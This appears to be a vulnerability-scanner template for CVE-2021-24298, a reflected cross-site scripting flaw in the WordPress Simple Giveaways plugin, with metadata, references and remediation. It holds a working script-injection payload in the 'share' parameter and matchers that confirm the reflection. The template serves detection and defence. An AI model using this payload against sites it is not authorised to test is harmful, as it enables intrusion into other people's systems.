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id : CVE-2021-24298
info :
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name : WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting
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author : daffainfo
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severity : medium
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description : |
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WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.
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remediation : |
Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.
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reference :
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- https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
- https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24298
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-24298
cwe-id : CWE-79
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epss-score : 0.00116
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epss-percentile : 0.44995
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cpe : cpe:2.3:a:ibenic:simple_giveaways:*:*:*:*:*:wordpress:*:*
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metadata :
max-request : 1
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vendor : ibenic
product : simple_giveaways
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framework : wordpress
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tags : wpscan,cve,cve2021,wordpress,xss,wp-plugin
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http :
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- method : GET
path :
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- '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
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- "</script><script>alert(document.domain)</script>"
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- type : word
part : header
words :
- text/html
- type : status
status :
- 200